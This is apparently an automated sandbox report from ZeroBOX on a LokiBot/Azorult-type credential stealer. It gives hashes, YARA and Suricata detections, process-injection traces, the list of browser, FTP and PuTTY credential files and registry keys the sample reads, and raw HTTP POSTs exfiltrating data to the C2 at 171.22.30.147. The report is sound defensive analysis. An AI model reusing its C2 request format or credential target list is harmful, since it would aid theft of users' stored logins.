popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

smss.exe

PWS DNS Socket AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Jan. 22, 2023, 1:43 p.m. Jan. 22, 2023, 2:16 p.m.
Size 810.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 c5bafe3458d291bf09cd412eae71d481
SHA256 8ac633cce1e7ca43e127cdb82ebb3fde7defd23d7a59daf3394a2e57a3a61048
CRC32 EFC495E8
ssdeep 12288:GoStTmHkFrVbS45nJpaqnSnnlAhFGYQeAF7K5NrKOa3RHgkDuZk08bk53j:GtkkFrBS4ZCnlCFGYoBK5FaZg/k0
Yara
  • IsPE32 - (no description)
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • Is_DotNET_EXE - (no description)
  • PE_Header_Zero - PE File Signature

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
171.22.30.147 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49165 -> 171.22.30.147:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49169 -> 171.22.30.147:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 171.22.30.147:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 171.22.30.147:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 171.22.30.147:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.103:49169 -> 171.22.30.147:80 2024313 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 171.22.30.147:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected
TCP 192.168.56.103:49169 -> 171.22.30.147:80 2024318 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected
TCP 171.22.30.147:80 -> 192.168.56.103:49169 2025483 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected
TCP 192.168.56.103:49168 -> 171.22.30.147:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49168 -> 171.22.30.147:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 171.22.30.147:80 2024313 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 171.22.30.147:80 2024318 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected
TCP 171.22.30.147:80 -> 192.168.56.103:49168 2025483 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected
TCP 192.168.56.103:49167 -> 171.22.30.147:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49167 -> 171.22.30.147:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 171.22.30.147:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.103:49167 -> 171.22.30.147:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header, HTTP version 1.0 used, Connection to IP address suspicious_request POST http://171.22.30.147/line/five/fre.php
request POST http://171.22.30.147/line/five/fre.php
request POST http://171.22.30.147/line/five/fre.php
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f61000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f62000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00452000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00485000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00487000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0047a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00477000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00476000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f25000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f26000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f27000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f28000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05ce1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05ce7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1680
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05ce8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 2425767
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 2425767
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

 newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
flags: 1
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\smss.exe
newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
oldfilepath: C:\Users\test22\AppData\Local\Temp\smss.exe
1 1 0
section {u'size_of_data': u'0x000ca000', u'virtual_address': u'0x00002000', u'entropy': 7.611974507441429, u'name': u'.text', u'virtual_size': u'0x000c9ea4'} entropy 7.61197450744 description A section with a high entropy has been found
entropy 0.998147004324 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.ibsensoftware.com/
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description PWS Memory rule Generic_PWS_Memory_Zero
description Win32 PWS Loki rule Win32_PWS_Loki_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2736
process_handle: 0x00000254
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2736
process_handle: 0x00000254
1 0 0
host 171.22.30.147
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2736
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000244
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2772
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000258
1 0 0
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\test22\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
Process injection Process 1680 manipulating memory of non-child process 2736
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2736
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000244
3221225496 0
Time & API Arguments Status Return Repeated

connect

 ip_address: 171.22.30.147
socket: 432
port: 80
1 0 0

send

 buffer: POST /line/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 171.22.30.147 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1C894730 Content-Length: 3717 Connection: close
socket: 432
sent: 244
1 244 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCkô/086627BC41D896D6F4DE8430FDlbQiË !ᘠè/ƒŸ@ Moz8il¼aUser×P>®fðnc? ?DOÜNÝTÞEI »H«SóFËLê.ˆ¾¹fŽyouámakeðchìnogr¦toöiÍf°ž*w¨Ø apãëãc·¾‡onÌ=rwuñÿ*`,GÐ@?¢w¯¬b oQvŠó—×t6 E¿2x:sœ‹)ToC·JÅp-Èõvøluú,¦¦ÙpkiŠr:2”-¸odify†tNða¨aUIü(ì.rg«“b lt:cØËgFJ‚brÒwE+);¡©F²t†Cw·ÙKnu‰A.j;@$|r«“µ .X!_!¤("SÑ.ÿµdÒ4ÞØ|ofmÔr(d"³ý!#ãCÎ.å³sÊU †Tim{õ-bùck·€Þ¯Þé';óÌ;r›16043}594S¿GMó7Ä;›HÒrAŸ- “gýÏõ;Pt!29ÞHr¢I§$-}¶Ž¬ÄpoÇ8éºEñëNT¦£ PwyM_3ushdµ y5ZLå@Éj8Ó!UÐ95ó³xAvð !nu½TY H½M ÐP£8¤oH^¤3Dÿç2·8<tCê0æ9÷Ø4EßæzU«{¿ÈÌL &lªgfŸ s1òn(Q. F”X˜gøk÷ém4MtY_ÕØq52)387TÍp˜fyc72åGå*3U&jNéy#um_HFt³Q19íDf—wóPI Rq§Ù© {iÌ6Ž»m:ÒtóϹOŸæÆnc247̆ƒ˜‡êduf£¨»1Ñ85·Wc…fǐU6¿T"Oùšg£C0Í+FŠ.7Ã-mÌÇN]a¥ê‰èé#¶úgJM© t‡U҅^m'¦1홈"¿H*pRÔdagéV]¦diUHµz-YÞ+J:/4eýbÕ,z’&½ºè)BA˜D/SeÇýê5~9uiÙÏ,sÊÅ3m&5vÊlDz:L.©oj=i&“·ÌòdEϊh?ÓKA@S.ubsu*PsAé¦N+”VŠ²1·KÇND1…Ÿ–T$ìË;¿_¼z‘SÉxt<{Ãp‚ ThP<(ID9idBˆžð-¨s@ž­e. gEÖIbz,kŸk¥kCÉuÓ+08RÉbÓ6ScÛæY+32-RCÚArtýwx\«´¶nô/AGxÊ66ԂÑaêgóÜò*© 3BšApSBdŽdIW3©0 1w9ñ!ŽÉ8þ¿;©>Îa78.4É0^3ÍP Ñf ¤m§8qpe S®O%r‘Òs3Îô-3sâSEL^z f{\¸¦EÃ:1,O #s{}k|YwñbK8u÷zd¦NÔ4\5a( M@¥"¤'Œ&bûÏ·ÏûDdÁ2€Kf80w5x-õ×Ç_6¯9_ädcÃX×/]6|ýí L”“Òr#G98‹3 1a-Ùf,zcֆ•˜5 a7ã÷mª06¢˜G8goóil€æXW.G™†4Aü3cqܽ‚éÂeËÜ÷oò‡ßÏ:¶¯agŽ¥g>DH¿ 70fvËoˆ’Yˆa½hÒ¿g{eŽÞa葊DÂ~ȼ-kçOI“ ôb† 4e?6 Ia4b¥/<d{°,‚ØI` um­Hhýfb2€Ëd0°ƒH¬æUöC{³7v0îc“wik)‰HOa>J62äêÂBb-fFf‚›œˆc’72(´aƒÉ68Ê5ÕJöbKâÌAEt8`CMâ7„Ëeƒõ8v†£æ¾šf5š6¯ªƒ'ÔAÒ13Yß 0n“mXf3Éd g55eTh”ä"Üñ%…ÞB¿Ùê3LEÅi‹f ÜdQÞ£¾sp­)˜DuMC©s²…2qx ãyUrÏåj:“ lûdÕj9“[E¾rn.9Žs¾¯+ëBñß°øbÐ2¯GßÐ:ïFߐ9ïFߑ9ýÙ7mYZ-ü…ÔH5]£Ïh4]£Êh4ÔþiLz†­1“ *´mË 2´9È 1´9Å1ÅvaEÝbl(½7¥)R<¼…1z»…0zº0gx.cÛ8h-Óu>bdr¸Cq1°HiyBâJY·\@È¢/‰åì….0xŒ4`;>Ý-ǁð6.1ä7ê0ã½ 385Kwfefï-d2Ÿá¡>^‚@jp7iêGs)s25XdiÅct˜ß(„idÈDéïÕæJÞ·27¡Qi0 l¾Dmz™"q¬shíÜÿ‡n-US‚koEEJùRØÆ÷iE‘™ý 2mðg.pu¾IXes-ÝÑ_f=ßkP6m;Ì~bÓa\ºckµ×?6ϐ)12z ˜jŠ11/$H¬9Ð 1t7«<2ÈNhݪ;ΉæT\.7Ñnâ2=©®Key‹øÐ'æé+ rȑhßSÝbz"•AjçiŽþöÂUsEûåå1øŸÞ‡smtÚ1OR³K¾íi‚‰_ð-ßP<s‘»VŒšÞ®ú´w»©© ,S?wÍ¡4֕‰jËæyž¬5”_mšg'$bäx¸m;n`dy@L‘'%20FL*)/A3<«"]ú^lºhsMl×é5XÅafiôQD1Ž.YŠsZmL` kÉm̘R0@¨f˜>‡—ÑS¡wU܍’ÒCPŠNtØË(BoUµH¢¿DÓËèT¸tJpÅ].óžtU{ѐ¢ÒQ@"HB<©nsår"-ëÑnÛzeTo)… yk),np¤ã_ÜoedÞC:\oK§ž„q2Ò°D—Œ>Rwo̯gT•–œËPyu°cg8t\0267(ý-ÛÌ0ΚÌ4NË"¯~m\hÊ[Q D]3~]o•7MÞ§ÕB«‹^1orå0SÝì+hº"™Õc,µ–§Y´_6n²&Ë,ŒU¡» ÇãÑp'>¯G|S<© 15­¸MÑÑ|é­C1ô£jC-12 …íy?¼æ ±— t>šÐÚ¼/§Nøho¢ÐÔ¿è=§&TF.¶Í'ìQ2èl 99Ò<­u개인€í´ë!”tnBx÷D0.—Á<mAc“<TÿŸ©¯Æµ¹©^…›ÒÖU¿Ë„ûìbkÊÆiž|/ts«#Ëb&\k•y;1\®[2PB0¹§ÀFÒB6©oE†nCüqŠSšFTé»Ír6<›3W¬kM¢-©‘–/±)/E|›!H4_&÷2Ù¤{%ðkH£.)Ø"–ü­MHJ_¦¿õ2é ¡1¼NִϪ¸2‡8úóh¤ cs$kDšÇCõi±Ò9½Šhow°§•2ÖÞ!54ñWî·2ª-œOþtuÎ}d¾Õy3K'—„ýýå’TtRtkD\7ª½òg7loJ©F½['K249CôË6©f-ob¿¨Óµ‰? 5÷1ŽÛñ7bÏÏE"/\‰i&xNžhW"?ù3€J&ú78_Í×à£d¢2K½[dÈ H¤•’!]çcÃfp·»k.»gÍk¸ quoúhiP-ïëè0¯Sr=*h}CÛ© 2uooׄÇçwi:Û5Z;=3xg $æÒûÒVa¼ò¾ÃC#F‹0B6í 4중ʚ”3W2ió9Œ/ˆ2X§æžB¥è3‡´Ê/iˆ3Rq¨¡3\R4iÍ3Ö.6iÂ할¼.ˆ5z ÐÒ¡6t¥;—°ê¸œ~K›ï—¤Ž.píw.Ä»“io¶µ Êûvo'm¤IPïAc3ĒÕ.¡½;_tçXàŸ7B¡;‹hi‘Iygôy-/„lùD—ò]r_cu(öxe5/ÙhÆþú8MäüÿmžŒûMb[iƒZ†Åлgok¢õJÔJΓ“ã“¨Ý)vì;~µŽ¥)è1rÔ½o<ZÚ¾Ð/õ¨®Ÿ:Z˯ô9<;™ÈOVÐ*ä-_*ށÐ5䪛(r¯Y5ÓOÅÑzÆj¤°{.OC$SPòy0O(“ç *pƒœy¤ÞÈg‘#S8È|õáA(®&m­ŽÞ%y">FZ™ :݌kNl!S:¥’½ ˆ¬Q5ú Käˆêr±?´>J•G/d‰¤…lug¿Œç~m©ÖñSTf—)xâ{3b|£å§V-nõ/Äãš0UŽæûDÜàWcéŠÂ2}ô\Æy—Mf¤H_!>©+ÈG ïÊpwô§âÌW{-1ʀ2;þ± _n ç\Zu28\Û9n4@ºN³ÕB|мïN¥}û§¬-±ã·)™{lÍØg<EcMZµƒŒj$­-i[•~O›z'uRÆ}d¼KØcù_S´úeÖ¬ƒÐK«×}9Þlx¾&wgh_ý&½Ñ©½‰^Ê~GRéTêvPD÷1Âáp"þWR¹2¹ÓÅ”AËO´û ÈvOm£ä:FýôS'qlÓRu²Ç~¡7Ôm5©³ \"½ ,ÒÙ$ê‰cozMxÄlkÓHø´ê2%dùº¯˜Bc0âjâÊ-:Ñêº1"_XÚ1~f4F¿2ÞDY]ó
socket: 432
sent: 3717
1 3717 0

connect

 ip_address: 171.22.30.147
socket: 452
port: 80
1 0 0

send

 buffer: POST /line/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 171.22.30.147 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1C894730 Content-Length: 186 Connection: close
socket: 452
sent: 243
1 243 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430FFidR9
socket: 452
sent: 186
1 186 0

connect

 ip_address: 171.22.30.147
socket: 452
port: 80
1 0 0

send

 buffer: POST /line/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 171.22.30.147 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1C894730 Content-Length: 159 Connection: close
socket: 452
sent: 243
1 243 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 452
sent: 159
1 159 0

connect

 ip_address: 171.22.30.147
socket: 364
port: 80
1 0 0

send

 buffer: POST /line/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 171.22.30.147 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1C894730 Content-Length: 159 Connection: close
socket: 364
sent: 243
1 243 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 364
sent: 159
1 159 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

